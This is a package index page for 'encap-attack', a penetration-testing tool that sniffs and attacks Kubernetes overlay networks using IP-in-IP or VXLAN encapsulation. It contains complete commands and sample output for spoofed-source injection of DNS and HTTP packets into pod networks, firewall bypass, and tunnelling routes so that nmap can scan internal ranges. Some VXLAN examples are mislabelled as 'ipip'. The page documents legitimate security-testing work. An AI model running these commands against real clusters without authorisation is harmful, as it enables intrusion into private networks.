Skip to main content

Network sniffing and attacks using IP-in-IP and VXLAN

Project description

Encap-Attack: Encapsulated Network Attacks

Sniff and attack networks that use IP-in-IP or VXLAN encapsulation protocols.

Requirements

  • Python
  • ip
  • iptables

Installation

pip3 install encap-attack
encap-attack --help

Development installation

git clone https://github.com/WithSecureLabs/encap-attack.git
cd encap-attack
python3 -m venv venv
sudo su
source venv/bin/activate
pip3 install .
encap-attack --help

Usage

Here are some basic usage examples of the tool. More options are available for each command and subcommand, documented by the --help options. For example, encap-attack vxlan --help or encap-attack vxlan tunnel --help.

All commands can be run in verbose mode using the -v flag after encap-attack. For example, encap-attack -v detect.

Sniffing encapsulated network traffic - detect

The tool can listen for encapsulated traffic on the network, and extract information about the encapsulation being used. This will only return information if encapsulated traffic is detected, or if running in verbose mode. To sniff traffic, run:

encap-attack detect

Obtain information about a Kubernetes cluster - kubeintel

Kubernetes intelligence functionality uses the kubeintel subcommand.

To extract a predicted service IP range and CoreDNS address, and optionally attempt to connect to it using IP-in-IP, two commands exist: kubeintel guess-cidr and kubeintel attempt-ipip.

To guess the service CIDR:

encap-attack kubeintel guess-cidr <api_server_address>

To guess the service CIDR and attempt to connect to CoreDNS using IP-in-IP, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the -s flag:

encap-attack kubeintel attempt-ipip -a <api_server_address> -s <another_host_ip>

Example:

encap-attack kubeintel attempt-ipip -a 192.168.124.9 -s 192.168.124.11

The tool will also provide kubectl commands to extract pod/service IP ranges and VXLAN network information from a Kubernetes cluster, with encap-attack kubeintel get-ip-ranges and encap-attack kubeintel get-net-info, respectively. The kubectl commands provided will output the information needed to simulate encapsulated packets to the overlay network.

Attack an IP-in-IP network - ipip

IP-in-IP functionality uses the ipip subcommand.

You must ensure the intermediary destination node (-d flag) is that on which the target pods reside. If the pods run on a different node, you will receive no response.

To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the -s flag:

encap-attack ipip -d <destination_host_ip> -s <another_host_ip> request -di <internal_destination_ip> dns -t <query_type> <domain_to_query>

Example:

# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local
Running in IP-in-IP mode

Interface IP: 192.168.124.200

Sending DNS packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" 

Response:
  kube-dns.kube-system.svc.cluster.local: 10.96.0.10

For an HTTP request:

encap-attack ipip -d <destination_host_ip> -s <another_host_ip> request -di <internal_destination_ip> http "<request>"

Example:

# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost: 10.100.99.5"
Running in IP-in-IP mode

Interface IP: 192.168.124.200

Sending SYN: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S

Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A

Sending ACK PUSH: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw

Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A

Sending FIN ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA

Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A

Response:

HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 23 Aug 2024 10:35:13 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT
Connection: keep-alive
ETag: "66ba1a4d-267"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body>
<h1>Welcome!</h1>
</body>
</html>

Alternatively, a tunnel can be configured to route all traffic destined for specific IP ranges into the encapsulated network. The -a flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per kubeintel guess-cidr above) - and this route will automatically be added to the tunnel. Additional routes can be added with the -r flag. Use Ctrl+C to shut down the tunnel.

encap-attack -d <destination_host_ip> -s <another_host_ip> tunnel -a <api_server_address> -r <route_cidr>

Example:

# encap-attack -d 192.168.124.10 -s 192.168.124.11 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16
Running in IP-in-IP mode

Interface IP: 192.168.124.200

Kubernetes API server certificate information:
  Subject: kube-apiserver
  Issuer: kubernetes
  IPs: 10.96.0.1, 192.168.124.9
  Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master

Guessed service CIDR: 10.96.0.0/12
kube-dns DNS server may be available at: 10.96.0.10:53
Cluster DNS suffix: cluster.local


Starting tunnel tun0, press Ctrl+C to stop...


Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Sending encapsulated packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"

All requests to the defined routes (in this example, 10.2.0.0/16, 10.3.0.0/16, and the service IP range guessed from information from the API server - 10.96.0.0/12) will then be encapsulated and routed into the overlay network. This permits the use of other tooling (e.g., nmap) within the overlay network from an external perspective:

nmap -sT 10.2.0.0/16

Attack a VXLAN network - vxlan

VXLAN functionality uses the vxlan subcommand.

The functionality for VXLAN networks is identical to that provided for IP-in-IP networks with the ipip command, but requires the additional information needed by the VXLAN protocol, as discussed above. Similar to IP-in-IP, you must ensure the correct destination host/node is used, or you will receive no response.

To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the -s flag:

encap-attack vxlan -d <destination_host_ip> -s <another_host_ip> -mi <vtep> --vni <vni> -pd <vxlan_tunnel_port> request -di <internal_destination_ip> dns -t <query_type> <domain_to_query>

Example:

# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 -mi aa:bb:cc:dd:ee:ff --vni 4096 -pd 4789 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local
Running in VXLAN mode

Interface IP: 192.168.124.200

Sending DNS packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" 

Response:
  kube-dns.kube-system.svc.cluster.local: 10.96.0.10

For an HTTP request:

encap-attack ipip -d <destination_host_ip> -s <another_host_ip> -mi <vtep> --vni <vni> -pd <vxlan_tunnel_port> request -di <internal_destination_ip> http "<request>"

Example:

# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 -pd 4789 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost:10.100.99.5"
Running in VXLAN mode

Interface IP: 192.168.124.200

Sending SYN: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S

Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A

Sending ACK PUSH: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw

Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A

Sending FIN ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA

Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A

Response:

HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 23 Aug 2024 10:35:13 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT
Connection: keep-alive
ETag: "66ba1a4d-267"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body>
<h1>Welcome!</h1>
</body>
</html>

The vxlan subcommand also provides a tunnel option, similar to the ipip subcommand, with the same functionality. As a reminder, this routes all traffic destined for specific IP ranges into the encapsulated network. The -a flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per kubeintel guess-cidr above) - and this route will automatically be added to the tunnel. Additional routes can be added with the -r flag. Use Ctrl+C to shut down the tunnel.

encap-attack -d <destination_host_ip> -s <another_host_ip> -mi <vtep> --vni <vni> -pd <vxlan_tunnel_port> tunnel -a <api_server_address> -r <route_cidr>

Example:

# encap-attack -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 --pd 4789 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16
Running in VXLAN mode

Interface IP: 192.168.124.200

Kubernetes API server certificate information:
  Subject: kube-apiserver
  Issuer: kubernetes
  IPs: 10.96.0.1, 192.168.124.9
  Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master

Guessed service CIDR: 10.96.0.0/12
kube-dns DNS server may be available at: 10.96.0.10:53
Cluster DNS suffix: cluster.local


Starting tunnel tun0, press Ctrl+C to stop...


Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Sending encapsulated packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"

All requests to the defined routes (in this example, 10.2.0.0/16, 10.3.0.0/16, and the service IP range guessed from information from the API server - 10.96.0.0/12) will then be encapsulated and routed into the overlay network. This permits the usage of other tooling (e.g., nmap) within the overlay network from an external perspective:

nmap -sT 10.2.0.0/16

Acknowledgements

This tool was initially developed by Matthew Grove at WithSecure Consulting.

It was inspired by research conducted by Rory McCune and James Cleverley-Prance.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

encap_attack-1.0.1.tar.gz (30.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

encap_attack-1.0.1-py3-none-any.whl (28.0 kB view details)

Uploaded Python 3

File details

Details for the file encap_attack-1.0.1.tar.gz.

File metadata

  • Download URL: encap_attack-1.0.1.tar.gz
  • Upload date:
  • Size: 30.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for encap_attack-1.0.1.tar.gz
Algorithm Hash digest
SHA256 b53b67dbb44e8960209a3a7ca4e05fb0da1e21cf0256ceb957427ce82cbc2c05
MD5 ff0c300bc0e41dc18cdf0b5433ed9c34
BLAKE2b-256 3f4218ac0f12d1bb1c3f1e94f040b4d83adb0ee0d48869fc75537f72cefc831b

See more details on using hashes here.

Provenance

The following attestation bundles were made for encap_attack-1.0.1.tar.gz:

Publisher: python-publish.yml on ReversecLabs/encap-attack

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file encap_attack-1.0.1-py3-none-any.whl.

File metadata

  • Download URL: encap_attack-1.0.1-py3-none-any.whl
  • Upload date:
  • Size: 28.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for encap_attack-1.0.1-py3-none-any.whl
Algorithm Hash digest
SHA256 f31de9ac2d3a26d8792814ca2d0d467df4695c9ee254d2c1bb05db73b575b465
MD5 90f32f6cedb3dfe3510bbb65068f7576
BLAKE2b-256 28f6e81ca4806666d9ac4d004951ec5df4ff9d161e6f61de6bb261db7a5b7572

See more details on using hashes here.

Provenance

The following attestation bundles were made for encap_attack-1.0.1-py3-none-any.whl:

Publisher: python-publish.yml on ReversecLabs/encap-attack

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page